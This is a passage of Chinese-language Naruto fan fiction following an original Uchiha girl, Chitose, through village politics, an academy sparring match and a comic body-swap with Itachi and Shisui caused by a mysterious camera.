“那终究是我幼时的际遇,后来也只是听族人零星提起,连她的名字,都未曾知晓。”宇智波镜缓缓道来。
“原来是这样……”千歲微微垂眸,难掩失落。
“她来得突然,去也无踪,那一年,宇智波一族折损了太多战力。”话语落处,宇智波镜想起了泉奈的陨落,想起了斑的离去,心头泛起一阵沉涩,如今宇智波的光景,早已不复往昔荣光。他将到了嘴边的话又咽了回去,这般沉重的过往,不必让小辈沾染,随即转了语气,温柔地看向千歲:“小千歲日后,也定能成为那样强大,保护自己所重视之人。”
“我也可以吗?”千岁眼中重新亮起光芒。
止水玩笑道:“当然,说不定往后,还要等千歲来救我呢。”
“止水,你又打趣我,谁不知你是族里数一数二的天才。”千岁瘪了瘪嘴。
宇智波镜静坐在廊下,望着互相拌嘴的两人,眉眼间凝着温和的暖意,指尖摩挲着茶杯边缘,心底却轻轻泛起一丝沉郁。
族中近来压抑难舒的琐事、暗流涌动的纷扰,都在这片刻的静好里悄然浮现,他看着眼前的两人,在心底轻叹:若是往后岁月,都能这般安稳平和,该有多好。
15. 第十五章 宇智波的危机
火影大楼会议室内
团藏的一只写轮眼藏在阴翳里,另一只眼却死死盯着案前的火影,声音如风化岩石般粗糙:
“猿飞,那日的事情,你到底有什么收尾的法子?”
猿飞日斩指尖轻轻敲击着桌面,声音沉稳却难掩疲惫:
“查克拉残留的线索已移交追踪组,正在破译。”
“我说的不是这个。”
团藏打断他,袖口下的青筋微微跳动,“既然他们的目标直指宇智波血脉,何不干脆送几人去做筹码?如此一来,伤亡最少。”
他话锋一转,眼底掠过一丝冷意,“我听说,为此咱们暗部折损了一名优秀的忍者。”
猿飞日斩猛地抬眸,目光如炬,既有对同僚的疑惑,更藏着难以掩饰的愠怒:
“你这是什么意思?”
“意思就是,” 团藏缓缓起身,居高临下地俯视着三代目火影,语气里是毫不动摇的功利,
“以宇智波的血脉为饵,换取两国休战。这是目前成本最低、最直接的手段。”
“住口!” 猿飞日斩的查克拉在掌心隐隐涌动,
“难道你还想在宇智波的土地上,再上演一次日向一族的悲剧吗?”
他深吸一口气,眼神坚定如铁:
“况且这与一族之事无关,宇智波永远是木叶的一员。”
团藏冷笑一声,转身背对众人,身影隐入墙角的黑暗:
“你这样天真,他们的心,未必归顺木叶。”
猿飞日斩挥退了会议室里的诸位大名与,空旷的房间里,骤然袭来的疲惫席卷了全身。
本就被繁杂政务搅得心力交瘁,如今接连的事端更是让他头痛欲裂,他抬手揉着发胀的太阳穴,心底不由泛起一阵酸涩——果然,自己是真的老了。
目光缓缓移向墙面,四代目波风水门的画像静静悬挂,青年的笑容温和耀眼,一如当年。猿飞望着画像,苍老的声音里裹着无尽怅然,轻声呢喃:“水门啊,你走得那么早,偏偏把这一堆烂摊子,都丢给我这个老头子来收拾。”
惋惜着四代目英年早逝的遗憾,思绪翻涌间,另一件棘手的事浮上心头。他沉声唤来一名待命的暗部,语气带着几分期许:“之前与枭商谈的事,他态度如何?”
暗部躬身,语气恭敬又带着几分无奈:“枭大人依旧态度消极,似乎不愿插手如今暗部的任何事务。”
猿飞日斩沉沉叹了口气,如今的木叶,战力早已不复往日鼎盛。传说中的三忍的大蛇丸叛逃,纲手和自来也却不知行踪,有实力的年轻一辈,要么早早陨落,要么便选择避世不出,实在令人唏嘘。
“千手奏的死因,你们依旧没有调查出眉目吗?”
暗部身形微顿,片刻后才沉声回复:“枭大人为此追查两年,终究一无所获……我们的能力,远不及枭大人,自然也查不出更多线索。”
“从前的枭,从不是这般模样……”猿飞拿起桌上的烟斗,目光望向窗外沉沉的暮色,声音轻得像一阵风,“如今的他,只说想安安稳稳陪女儿度过余生。”
沉默片刻,他转头看向暗部,淡淡开口:“你怎么看?”
暗部成员身形一滞,迟疑了一瞬,才小心翼翼地答道:“枭大人……想必有他自己的想法吧。”
猿飞日斩不再言语,垂眸望着手中的烟斗,眼底掠过一丝释然。是啊,这世间所有人,都有选择自己人生道路的权利,是逃避俗世纷扰,还是直面风雨险阻,本就没有绝对的对错。
忍者学校
忍者学校的操场上,空气里都弥漫着查克拉躁动的味道。再过两个月,就是毕业考试了,而今天,正好是忍术实战测试。
对于绝大多数学生来说,实战测试不过是噩梦,但对宇智波千歲来说,这简直是精神折磨。毕竟,规则是“一对一擂台赛,把对方逼出界就算赢”,而她宇智波一族的头衔,注定让她成为班里的焦点。
“千万别抽到由里香……千万别抽到由里香……” 千歲双手合十,在心里疯狂默念。
她怕由里香不是没道理的。同为宇智波,由里香是妥妥的学霸级优等生,查克拉控制精准,还会医疗忍术,妥妥的“别人家孩子”。可惜性格却像块裹着糖衣的石头,凶巴巴的,一点都不温柔,除了千歲,几乎没人敢靠近她。
千歲心里早就盘算好了:“最好的结果,就是抽到那个木村啊!”
木村君是她的“难友”兼“战友”——人高马大一腔热血,可惜实战实力和千歲不相上下,全靠莽劲。最经典的那次,他练手里剑差点扔歪,差点给和真老师来了个“爆头”,被罚站了整整一节课。说到罚站,那更是他俩的共同回忆,每天迟到的固定二人组,罚站时面对面互相苦笑,简直是“难兄难弟”本弟。
“安静!现在开始分配对战搭档!” 和真老师敲了敲手里的名册,“宇智波千歲——对战……浅野光!”
“轰!” 千岁感觉头顶瞬间劈下了一道惊雷。
浅野光?!除了由里香之外,整个年级另一个优等生便是他,实力与由里香不相上下。冷静、寡言、平时脸上就没什么表情,千歲甚至怀疑他是不是自带了“无表情”BUFF。最重要的是,千歲和他从来没说过一句话。
“这比抽到由里香还要可怕一万倍…”
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千歲内心哀嚎道。
或许是心声太剧烈,浅野光竟然微微侧过头,那双没什么情绪的眼睛朝她看了过来。
仅仅是一眼。
“咔嚓——” 千歲感觉自己的灵魂都被冻结了。那眼神明明平淡如水,却透着一股让人不敢直视的压迫感,吓得她瞬间缩起脖子。
就在这时,操场另一边传来了一声惨叫:
“不要啊——!!和真老师!我不要和由里香一组!她超级可怕的!” 木村君涨红了脸,双手扒着栏杆,活像只被欺负的兔子。
由里香抱着胳膊,翻了个标准的“天使面孔恶魔白眼”,语气尖酸:“谁要跟你一组啊?简直拉低我的档次。”
看着吵得不可开交的两人,再看看身边依旧面无表情、仿佛在审视猎物的浅野光,千歲无奈地扶额。
唉……看来这次的实战考,不管对手是谁,她都得硬着头皮上了。毕竟,谁让她和木村,天生就是一对要共患难的“倒霉熊”组合。
训练场的白□□线在地面清晰划分,宇智波千岁攥紧拳头,一勾玉写轮眼缓缓睁开,映出对面浅野光的身影,心底依旧打怵。对面的少年身姿挺拔,自始至终面无表情,平静无波,周身萦绕着淡淡的水属性查克拉。
随着和真老师一声令下,这场忍校实战对战正式拉开序幕。
宇智波千歲没有像此前与止水交手时那般径直横冲直撞,这一次的比试,处处都透着不同。她摸不透浅野光的实力深浅,对方更不会像止水那般处处留手温柔,加之获胜条件是将人逼出白线,远比以往严苛,心底的焦虑不由得一点点翻涌上来。
一旁的由里香见她收敛了往日的莽撞,没有立刻发起进攻,微微挑眉,低声自语:“总算懂得沉下心,稍微成长了点吗。”
场中两人一时都未动,各自站在界线两侧,静静观察着对方的查克拉与身形动向,空气陷入短暂的僵持。
就在这时,始终面无表情的浅野光,忽然率先开口,清冷的声音没有丝毫波澜:“害怕的话,现在弃权就好,你和我不一样。”
“……什么?”
千歲瞬间僵在原地,这是她第一次听见浅野光对自己说话,可这番带着挑衅的话语,瞬间点燃了她心底的火气,方才强压下的冷静荡然无存。
“凭什么这么说啊!”她不服气地攥紧拳头大吼,脸颊微微鼓起,眼底的写轮眼都因情绪波动泛起细碎的红光,“谁害怕了!你给我等着,看我怎么把你揍扁!”
由里香额角瞬间垂下三道黑线,嘴角忍不住抽了抽,刚才那点欣慰瞬间烟消云散,默默在心里补了一句:刚刚那句话,就当我从没说过。
16. 第十六章 这股怪力,是我使出来的?
千歲被挑衅到暴怒,于是蛮横地直冲浅野光而去。她的打法粗暴直接,就是仗着速度近身肉搏,完全放弃了不擅长的火遁。
浅野光站在原地,纹丝不动。他脸上没有任何表情,仿佛眼前疾驰而来的不是同期,而是一块顽石。待千岁逼近咫尺,他指尖微动,查克拉如水流般涌动:
“水遁·水牙弹!”
两道锋利的水刃呼啸着从地面弹射而出,势如破竹。千歲瞳孔一缩,写轮眼精准捕捉到水刃轨迹,身形猛地向侧面翻滚,险之又险地擦着衣角躲过。但水遁攻势连绵不绝,紧接着又是数颗水弹丸,如暴雨般倾泻而下,封锁了她所有的走位空间。
千歲咬紧牙关,借着写轮眼的动态视力,在弹雨中上下翻飞,每一次跳跃都精准踩在水流的缝隙里。她的速度极快,在常人眼中几乎留下残影,终于硬生生突入了浅野光的近战范围。
“结束了!”
千歲怒吼,右拳裹挟着查克拉,毫无章法却势大力沉地砸向对方面门。
“不行!”由里香像是看透了什么似的脱口而出。
浅野光终于动了。
他没有后退,而是极其从容地侧身半步,同时伸出手掌,轻轻一挡。
“砰!”
一声闷响,千歲的拳头结结实实地打在他的掌心。
然而,预想中的击飞并未出现。
千歲只觉得拳头砸在了一块滚烫的铁上,震得她指骨发麻,力道却连对方衣角都没撼动分毫。
千歲打出去的力道被对方的水系查克拉捕捉,又生生的反应回来,只觉得手指快要裂开。
浅野光站在原地,如同一尊屹立不倒的雕像,平静地看着她:“太慢了。”
话音刚落,他手腕一翻,看似随意地一推。
一股柔和却不容抗拒的水力顺着千歲的手臂传导而来,千歲只觉脚下一滑,整个人竟被一股无形的力量甩飞出去,重重撞在训练场的边缘挡板上,吐出一口鲜血。
“和真老师,这样真的没事情吗?”木村看到千歲受伤的样子,特别担心。“这样打下去,会死人的吧…”
和真看着眼前的战斗,看着倔强的千歲,眼里有说不清楚的情绪 。
“不,继续下去。”
“如果真的到了那个地步,老师会出手阻止的。”
由里香看到千歲重重摔倒在地迟迟爬不起来的模样,心里又担心又倔强。“这个笨蛋…都让她不要横冲直撞上去了…”
“好强……”千歲挣扎着爬起来,手腕发麻,胸口也火辣辣地疼。她第一次真切地感受到,和这位年级第一的优等生相比,自己的体术是多么稚嫩。
浅野光没有乘胜追击,只是淡淡地收回手,重新摆出防御姿态。他周身查克拉流转,地面上一圈圈水纹荡漾,显然是在积蓄更强的力量。
“水遁·大瀑布之术!”
虽然只是在训练场限制下的弱化版,但汹涌的水幕还是瞬间笼罩了半个场地,朝着千歲疯狂挤压而来。水压让人窒息,视线也变得模糊。
就连这般等级的高阶忍术,浅野光竟已熟练掌握?和真站在场边目瞪口呆,他从未想过一名尚未毕业的忍校学生,能将水遁施展到如此骇人的地步。
湍急的水流将千歲重重裹住,她在奔涌的水浪中拼命挣扎,好不容易才勉强撑开眼皮,一勾玉写轮眼在水中疯狂解析着周遭水流的流向。她心里清楚,一旦被这股狂暴水势推挤到白线之外,这场比试便彻底输了。
可瀑布水流汹涌湍急,裹挟着压倒性的冲击力,根本难以捕捉清晰的攻击轨迹。全身都被冰冷的水流包裹,呼吸变得异常艰难,四肢也因缺氧渐渐泛起无力感,再这样僵持下去,即便不被逼出界外,也会先一步失去意识。
“我不能输……绝对不能!”
心底的嘶吼冲破窒息的混沌,一段熟悉的话语毫无征兆地浮现在脑海中。
「任何忍术,都有其弱点。」
是止水的声音,温柔却坚定,清晰地回荡在耳畔。
「千歲最大的问题,就是一味横冲直撞。」
「有时候,分析对方的弱点,远比一味依靠蛮劲要有用得多。」
弱点?眼前这近乎碾压的高阶水遁,真的存在破绽吗?她的心底泛起一丝迷茫,可下一秒,止水的鼓励再次响起。
「千歲的话,一定可以做到。」
我……真的可以吗?
千歲强迫自己从慌乱中冷静下来,不再刻意压抑体内的力道,而是将周身查克拉尽数汇聚于双眼。写轮眼这一血继限界,本就是洞悉忍术破绽最锋利的武器。如此大范围的忍术,即便浅野光天赋出众,查克拉储量与操控精度也必然存在极限,他对水流的掌控,远非表面看上去那般完美无缺。
弱点,她必须找到这个忍术的弱点。
一勾玉写轮眼持续转动,将四面八方流动的查克拉气息尽数捕捉。
忽然,千歲的目光一凝,水浪的攻势似乎藏着固定规律,每隔三秒便会掀起一次巨浪冲击,间隔的一秒则是力道稍弱的小浪。若是将查克拉凝聚在脚底,凭借速度避开巨浪,或许就能顺着小浪的缝隙,翻越这片瀑布,争取到近身的机会。
有破绽!
千歲深吸一口气,眼中闪过一丝狠厉。借着写轮眼对水流的精准预判,踩着水浪的节奏,再次朝着浅野光发起攻击。
这一次,她的速度比刚才更快,更刁钻。即便双腿已经快要失去力气,千歲依旧没有降低速度。
浅野光指尖快速结印,数道水墙瞬间竖立在身前,形成密不透风的防御。
这家伙,老是用一些躲躲藏藏的忍术。
真是太气了。
“躲什么躲!”
千歲一声怒喝,将查克拉尽数灌于脚底,猛地纵身跃起。少女的身影在半空舒展如跃动的光,金色发丝在风里肆意飞扬,那张写着倔强与不甘的脸庞,在阳光下格外耀眼。
“不准躲!”
这一拳,她是真的拼尽了全力。
而就在拳头即将命中的瞬间,浅野光终于露出了一丝破绽——他似乎是想侧身躲开,却在看清千歲眼中那股绝不认输的倔强时,动作微微顿了半拍。
就是这半秒!
千歲感觉拳头上涌出一股前所未有的巨
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力,那是连她自己都没意识到的怪力,在极致的绝境与潜能爆发下,无意识地催动了!
“嘭——!!”
这一拳,结结实实地轰在了浅野光的胸口。
空气仿佛凝固了一瞬。
浅野光原本平静的脸上,终于第一次出现了难以置信的表情。
这是何等怪力?
他闷哼一声,身体被这股巨力硬生生带动,向后踉跄了两大步。好在受击的那一瞬间,浅野光把所有查克拉都凝聚在胸口,做了一个缓冲,不然,今天他能否站着走出忍校门都难说。
而那两步,每一步都踩得极重。
一步,两步……
他的脚后跟,踏出了白色的界线。
和真的声音响起:
“浅野光,出界!比赛结束——宇智波千歲,获胜!”
全场死寂。
千歲呆呆地看着自己的拳头,又看看远处站在界外、依旧面无表情的浅野光,大脑一片空白。她赢了?她竟然赢了浅野光?
而浅野光,缓缓低下头,轻轻揉了揉被轰中的胸口。
「何等怪力」
刚才那看似从容的收招,其实早已是千钧一发之际的极限留手。
就在千歲那一记无意识怪力砸中之后,浅野光鼻尖忽然一热,两道细细的鼻血缓缓渗了出来,眼前瞬间晕成一片。
他还在心里默默困惑:“我明明……已经用查克拉缓冲过了……”
话音刚落,人就直挺挺向后一倒,干脆利落地晕了过去。
训练场瞬间炸开了锅,一片手忙脚乱。和真老师吓得脸都白了,赶紧让人去叫医疗忍者,千歲更是慌得不行,小步跟在旁边,寸步不离地守着。
医疗忍者蹲下身检查一番,皱着眉总结:“被重击震得查克拉紊乱,才会晕过去流鼻血,休息半个月就没事了。”
说完他转头瞪向和真,语气难以置信:“你这是带他们上实战战场了?下手这么重?”
和真欲哭无泪:“我哪敢啊!这完全是意外!”
好一会儿,浅野光才慢悠悠睁开眼,第一眼就对上千歲凑得极近、写满担心的小脸。
见他醒了,千歲立刻伸手想去扶他起来,结果那双手刚靠近,浅野光像是被怪力PTSD触发了一样,整个人轻轻一僵,连忙小声拒绝:“不用……我自己来就好。”
“浅野同学,真的对不起!”千岁双手合十,脑袋都快垂到胸口,满脸愧疚,“我不是故意把你打晕的,我真的没控制好力气……”
浅野光看着她一脸慌张道歉的模样,依旧面无表情,只是沉默了好一会儿,才轻轻嗯了一声。
“浅野同学,你头发乱了,我帮你弄整齐。”千歲说罢就打算伸出手给他捣鼓一番。
“别!”浅野光现在及其害怕那双手, “我自己来。”他胡乱扒拉了几下自己平时梳的一丝不苟的发型,可能自己这辈子都没有那么狼狈过。
“哦……好吧。”千歲只得在一旁看着。
眼前的这位金发少女,到底是何方神圣。
宇智波一族,居然还有这样的怪力少女。
17. 第十七章 互换身体?
宇智波富岳府邸
和室里,纸门隔绝了外界所有声响,只余下榻榻米上沉闷的呼吸,十分压抑。
宇智波富岳正襟危坐,族服衬得他面容愈发冷硬,眉眼间是宇智波族长独有的威严,自始至终面无表情,落在桌案上的成绩单时,也未见半分波澜。
宇智波美琴静坐在他身侧,温婉的眉眼始终带着几分紧绷,双手轻搭在膝上,直到视线扫过成绩单上那一行全科满分的字样,紧绷的唇角微微松弛,面色稍缓。
“不愧是我的儿子。”富岳的声音低沉厚重,没有多余的情绪,字字落在空气里,带着家族期许的重量。
“鼬,你是我们全族的希望。”紧随其后的话语,裹挟着整个宇智波一族的期盼,沉甸甸地压向端坐正中的少年。
美琴柔声附和,语气里满是欣慰与期许:“鼬,我们都希望你能一直这样保持下去。”
一句接一句的夸赞与期许环绕在耳畔,鼬垂着眼,长长的睫毛遮住眼底情绪,轻声应下,声音平静无波。家族的荣光、父辈的期望、族人的托付,交织成细密的网,将他牢牢裹住,连呼吸都觉得滞涩。
他顺从地应着,目光放空的刹那,思绪悄然飘远。
不知道止水和千歲现在在做什么。
等鼬回过神来,宇智波富岳已被族人叫走。
例会的压抑还缠在肩头,鼬几乎是逃也似的起身,拉开木门的瞬间,连空气都变得清爽起来。他漫无目的地走在小路上,只想把满脑子的家族期许都暂时甩开,不知不觉就晃到了村子里的小公园。
远处叽叽喳喳的吵闹声飘过来,鼬抬眼一看,几个小朋友围成一圈,中间那个金发晃来晃去的小家伙,正是千歲。
看到她的那一刻,鼬紧绷的嘴角不自觉松了些,脚步也放轻,悄悄凑了过去。
还没看清东西,小朋友们的吐槽先炸了锅:
“这玩意儿贴个纸条,一看就是骗人的啦!扔了扔了!”
“该不会闹鬼吧!相机也会有诅咒吗?”
千歲叉着腰,一脸恨铁不成钢:“怕鬼还当什么忍者,胆子比小蚂蚁还小!”
“可它写‘按下就得到想要的’,也太此地无银三百两啦!”
“说不定会受诅咒呢!”
话音刚落,孩子们瞬间作鸟兽散。
“我妈喊我回家吃红豆糕!先走了!”
“我我我忍术修炼要迟到了!拜拜千歲!”
转眼就剩千歲一个人站在原地,她对着空无一人的草地嘟囔:“跑这么快干嘛,一群胆小鬼,真没意思……”
鼬被她这气呼呼的小模样逗得偷偷一笑,走上前轻声问:“前辈,你在玩什么?”
千歲猛地回头,看到鼬眼睛瞬间亮起了光,一把扑过来把东西举到他眼前:“鼬!你可算来了!就你懂我!”
鼬愣在原地,心里默默吐槽:我还什么都没说呢……
眼前是个圆滚滚的旧相机,机身歪歪扭扭贴着一张便签,字写得格外显眼:我没有主人,按下我,即获得你想要的。
“看!是不是超神奇!”千歲晃了晃相机,一脸得意。
鼬指尖轻轻点了点相机外壳,好奇又认真:“前辈,这个是哪里来的?”
“一乐拉面后街捡的呀!”千歲笑得一脸灿烂,“吃完拉面拐个弯就看到它躺在地上,我就捡回来啦!”
千歲把相机往怀里拢了拢,语气脆生生带着点小委屈:“相机说它没有主人,还能实现心愿,我才特意拿来跟大家分享的!”
她撇撇嘴,瞥了眼孩子们跑远的方向:“结果他们一个个怕得要命,连试都不敢试。”
鼬看着她故作大方的样子,轻声提议:“那前辈自己试一试不就行了。”
千歲顿时卡了壳,眼神飘了飘,耳朵悄悄尖了点,硬着头皮找借口:“我、我这不是想先让大家实现心愿嘛,好东西要分享啊。”
“谁知道这群小鬼一点都不领情。”她嘟囔着,刻意把音量提高了半分。
“其实千歲自己也怕是诅咒,故意拉上别人一起的吧?”
一道懒洋洋又带着笑意的声音从身后悠悠传来,风拂过树叶,少年倚着树干笑眼弯弯,不用回头,听声音就知道是止水。
“才不是!”千岁瞬间炸毛,脸颊微微泛红,抱着相机瞪向止水,恼羞成怒地反驳,“我可是忍者,怎么会怕这种小东西!”
止水低笑出声,脚步轻快地走到两人身边,挑了挑眉看向少女:“哦?那千歲现在,自己一个人试一试?”
“坏止水,就会出馊主意!”千歲金发都像是气的跟着翘了起来。
止水忍着笑,故意作势要拉鼬离开:“那我和鼬先借一步说话咯?”
“别……你们俩别走啊!”千歲急得连忙伸手拽住止水的衣摆,小幅度晃了晃,“不准走,今天必须陪我研究这相机!”
止水无奈又宠溺地笑叹一声:“谁让我最拿千歲没办法呢。”说着便朝千歲伸出手,“给我看看。”
千歲立刻把相机递了过去,鼬也悄悄往前凑了凑,三个人脑袋挨在一起。
“这个应该是开机键。”止水指尖轻点,相机顺利亮起屏幕。
鼬盯着屏幕与便签,冷静分析:“上面写按下就能获得想要的,应该指的是快门。”
相机屏幕清晰映出三人的脸庞,千歲眼睛亮晶晶:“只要按快门,就能实现心愿吗?”
“按照纸条上的说法,是这样。”止水微微沉吟,又补充道,“不过,也有可能是别人的恶作剧哦。”
“对了,你们知道快门键是哪个吗?”鼬左右看了看,疑惑发问。
止水摇了摇头,千歲则盯着一个最显眼的按钮,满脸好奇,伸手就按了下去,还小声嘀咕:“总不可能是这个吧……”
话音刚落,“咔嚓——”一道刺眼闪光灯猛地亮起,瞬间把三人照得齐齐眯起眼,慌慌张张地往后缩了缩。
闪光灯的白
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光散去,三人下意识眨了眨眼,最先察觉到不对劲的是顶着鼬身体的千歲。
千歲低头看着自己骤然变小的手,摸了摸身上熟悉的衣服,自己的裙子不知什么时候变成了裤子。又捏了捏脸颊——软度完全不对。她懵了两秒,猛地抬头看向“自己”,声音变成了鼬清冷的少年音,:“咦?我的声音怎么变成这样了?!”
另一边,鼬睁开眼,抬手时只觉得视野高了一大截,摸向脖颈也只摸到微凉的空气,小辫子不见了。他愣了愣,再看看对面顶着自己身体、一脸惊慌的千歲,冷静的眼底第一次浮出茫然,声音是止水爽朗的语调:“……我好像,在止水的身体里。”
“噗——”止水刚开口就被自己的声音吓了一跳,清脆的少女音让他当场僵住。他低头看着自己小小的手掌、金发垂在肩前,身上还是千歲常穿的裙子,瞬间哭笑不得,顶着千歲的脸做出无奈又好笑的表情:“看来不用猜了,我是千歲。”
止水(千歲身体)抬手摸了摸自己的长发,一脸新奇又无奈:“原来千歲的头发这么软。”
千歲(鼬身体)彻底炸毛,明明是沉稳的少年身形,还带着少女的慌张:“怎么会这样!相机真的是诅咒吗!我的身体怎么被你占了啊止水!”
止水(千歲身体)无奈地耸耸肩,金发晃了晃,学着千歲平时的样子叉腰,却因为身高差显得格外娇小可爱:“某人刚才还说自己不怕,现在的样子可比那些小孩明显多了。看来这相机不是实现心愿,是直接把我们互换了。”
千歲(鼬身体)皱着眉,一本正经地推理,努力模仿鼬的沉稳却破了功:“肯定是相机里藏了特殊忍术,不是普通的道具,刚才的闪光就是忍术发动的效果!”
鼬(止水身体)指尖轻点下巴,用止水的声音冷静分析:“纸条上的文字是误导,所谓‘获得想要的’,其实是互换身体的触发条件,快门键就是忍术开关。”
止水(千歲身体)叉着腰,顶着千歲的小脸故作深沉:“看样子是恶作剧类的忍术,没有攻击性,就是单纯捉弄人,应该是之前捡到相机的人留下的。”
三人正低头对着相机嘀嘀咕咕,原本暗下去的相机屏幕突然亮起,一行俏皮又欠揍的文字跳了出来:哈哈,你们这群笨蛋,中计了吧。三天内要是告诉别人你们互换身体,就永远换不回来了哦。
看到文字的瞬间,千歲(鼬身体)猛地站直身体,语气笃定又慌张:“果然!我们就是中了恶作剧忍术!”
她伸手戳了戳相机屏幕,气鼓鼓的,鼬的身形配上少女的动作,十分好笑:“太坏了吧!居然还设了这种规矩!”
止水(千歲身体)无奈地笑了笑,伸手拍了拍千岁(鼬身体)的胳膊,小小的手掌拍在少年手臂上,反差感十足:“看来接下来三天,我们得好好扮演彼此才行。”
鼬(止水身体)看着眼前两个顶着彼此身体、手忙脚乱的人:“先记住彼此的习惯,不要露出破绽,等三天后再想办法解开。”
18. 第十八章 互换身体2
三人盯着相机上的恶作剧文字,沉默了三秒,下一秒,现实难题直接砸到眼前——要顶着对方的身份,去对方家里生活三天。
千岁(鼬身体)当场垮下脸,抓着自己的长发,用鼬清冷的声线发出崩溃的小声哀嚎:“完蛋了……鼬,你爸爸看起来好严肃好恐怖啊,我要是去你家,会不会一开口就被看穿啊!”
止水(千歲身体)抱着胳膊,顶着千岁可爱的小脸,一脸感同身受地摇摇头,语气十分认真:“彼此彼此,千歲的爸爸也没好到哪里去,我压力也很大。”
千歲立刻想起正事,踮着脚(虽然在鼬身体里很高,还是下意识做了小动作),凑过去认真叮嘱止水:“我家就我和爸爸,他平时就爱吃纳豆,你正常跟他搭话就行,别乱说话,安安静静吃饭基本不会出事。”
鼬(止水身体)也看向千岁,声音是止水温润的调子,语气却格外认真,一字一句嘱咐:“我父亲性子严厉,在我家时,尽量少说话,能不开口就不开口,避免出错。”
止水(千歲身体)当场噗嗤一声笑出来,小小身子往树上一靠,毫不留情地吐槽:“那完了,就千歲这性格,憋不过三句肯定暴露。”
千歲(鼬身体)立刻瞪他,要不是身高差悬殊,差点伸手掐他:“我才不会!”
轮到止水嘱托,他收敛了玩笑,认真对着鼬(止水身体)交代:“我家里就爷爷一个,很好照顾,没什么禁忌。主要是我小队那边,出任务的时候多留意点队里的小咲,还有和海斗搭档作战时,记得控制分寸,别太莽撞。”
三人互相把注意事项碎碎念了个遍,天色也渐渐往傍晚沉,分别的时刻猝不及防到来。
千歲扒着鼬(止水身体)的胳膊,半天不肯挪步,一张属于鼬的俊脸皱得可怜巴巴,直到被止水(千歲身体)笑着推了推后背,才一步三回头地往宇智波富岳宅邸挪去。
宇智波富岳府邸
站在熟悉又陌生的家门口,千歲(鼬身体)深吸一口气,努力回忆鼬平时的样子——背挺直、手放好、表情要淡、话要少。
拉开拉门的瞬间,她瞬间绷紧全身,像个被设定好程序的小机器人。
“回来了。”
宇智波富岳坐在客厅榻榻米上,依旧是那副严肃沉稳的模样,抬眼扫过来,目光落在“儿子”身上。
千歲吓得心脏骤停,下意识弯腰,用鼬清冷的声线绷着嗓子吐出一个字:“……是。”
声音一出,她自己都在心里狂喊:完了完了,会不会太僵硬?会不会不像?
美琴端着茶杯从里屋走出,眉眼温柔地笑了笑:“鼬今天回来得稍晚一些,晚饭马上就好,先坐吧。”
她身后,三岁的小佐助摇摇晃晃地跑出来,软乎乎的小团子一头撞进千歲(鼬身体)的膝盖边,仰着小脸奶声奶气喊:“尼桑~”
千歲整个人僵在原地,心脏瞬间被小团子萌得软成一团,差点当场伸手去揉佐助的软发,手抬到一半猛地想起——鼬是高冷哥哥,不能随便rua弟弟,硬生生把手改成轻轻摸了摸佐助的头顶,动作僵硬得像木偶,声音绷得平直:“……嗯。”
小佐助歪歪头,似乎觉得今天的尼桑有点奇怪,但还是乖乖蹭了蹭他的手心,没有多问。
晚饭时更是一场大型考验。
餐桌上安安静静,富岳基本不说话,美琴偶尔温和地夹菜,千歲(鼬身体)拿着筷子,小口小口扒饭,全程低头,连夹菜都小心翼翼,生怕动作幅度太大暴露本性。
美琴看着“儿子”今日格外安静,还以为是族里例会后有些疲惫,轻声道:“最近课业辛苦,多吃一点。”
千歲抬头,对上美琴温柔的目光,心里一暖,又立刻绷紧表情,轻轻“嗯”了一声,脸颊却不受控制地微微发烫——好在鼬的肤色看不出脸红,勉强蒙混过关。
吃到一半,小佐助抱着小碟子,把自己碗里甜滋滋的红豆糕拨到“尼桑”碗里,软乎乎开口:“尼桑,吃糕糕。”
千歲下意识眼睛一亮,脱口而出:“哇,谢谢小佐助!”
话音落下,全屋安静一瞬。
富岳抬眼看向她,眼神带着一丝疑惑:今日的鼬,似乎过于活泼了些。
千歲心脏骤停,冷汗差点冒出来,脑子飞速运转,强行绷回清冷语调,面无表情地把红豆糕拨回一点给佐助,压低声音:“……你正在长身体,多吃。”
说完,端起茶杯抿了一口,假装淡定地移开视线,心里疯狂尖叫:差一点差一点!差点就露馅了!小佐助真是太可爱了!
富岳看着她略显僵硬却依旧沉稳的样子,只当是少年人内敛不善表达,微微颔首没再多问。
小佐助懵懵懂懂,只觉得尼桑今天说话怪怪的,却还是乖乖点头,小口吃起了红豆糕。
危机刚过,千歲夹菜时手一抖,一块玉子烧掉在了榻榻米上,她下意识弯腰就想去捡,嘴里还蹦出一句:“哎呀,好可惜!”
话一出口她再次僵住,富岳的目光又扫了过来。
千歲急中生智,维持弯腰姿势,板着脸一本正经道:“……掉了,不能吃。”
说完用指尖捏起玉子烧,起身丢到一旁的杂物碟里,动作利落又冷淡,完美复刻鼬平时的作风,
坐回原位时后背已经悄悄冒了层薄汗,在心里疯狂给自己鼓掌:圆回来了!我可太聪明了!
吃到中途,富岳忽然开口:“明日的家族晨练,准时到场。”
千歲握着筷子的手一紧,心脏狂跳,努力维持镇定,再次点头:“……知道了。”
全程下来,她没多说一个多余的字,坐姿端正、吃饭安静、应答简洁,中途两次差点露馅都强行圆回,活脱脱一个翻版小鼬,连富岳都没察觉异样,只觉得儿子愈发沉稳懂事。
等终于吃完晚饭,回到鼬的卧室,关上门的瞬间,整个人瞬间瘫坐在地板上,长长舒了一口气,拍着胸口小声嘀咕:“吓死我了吓死我了……富岳大人也太严肃了,小佐助太可爱差点破功,鼬平时也太不容易了……”
她趴在榻榻米上,看着房间里简洁的布置,忍不住小声抱怨,却又带着一丝小小的骄傲:
“不过……我好像,演得还不错?”
先前光顾着紧张尴尬,此刻静下心,她才第一次好好打量这间属于少年鼬的房间。和想象中一样整洁到近乎严苛,榻榻米一尘不染,角落叠放整齐的衣物棱角分明,连摆在墙边的书架都按类别排得一丝不苟,没有半分杂乱。
房间左侧整整齐齐码着一排书架,大半都是忍术理论、家族典籍、战术分
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析与查克拉控制教材,封面被翻得有些旧,却依旧平整干净,看得出主人反复研读、格外爱惜。千歲蹲在书架前,轻轻拂过书脊,心里悄悄感叹:原来鼬平时看的都是这些东西,换做是自己,肯定翻两页就犯困,也难怪他那么厉害。
另一侧墙边的置物架上,整齐摆放着各类刃具——手里剑、苦无、起爆符、千本分门别类,每一把都擦拭得锃亮,刃尖泛着冷光,连摆放的间距都几乎一致。架子角落还放着打磨工具与保养布,干干净净摆在固定位置,能看出主人日复一日的自律与认真。
千歲伸手轻轻碰了碰一枚苦无,指尖传来微凉的触感,眼前不自觉浮现出鼬平时练习的模样,沉默、专注、一丝不苟。原来他那些沉稳与强大,都是这样一点点磨出来的。
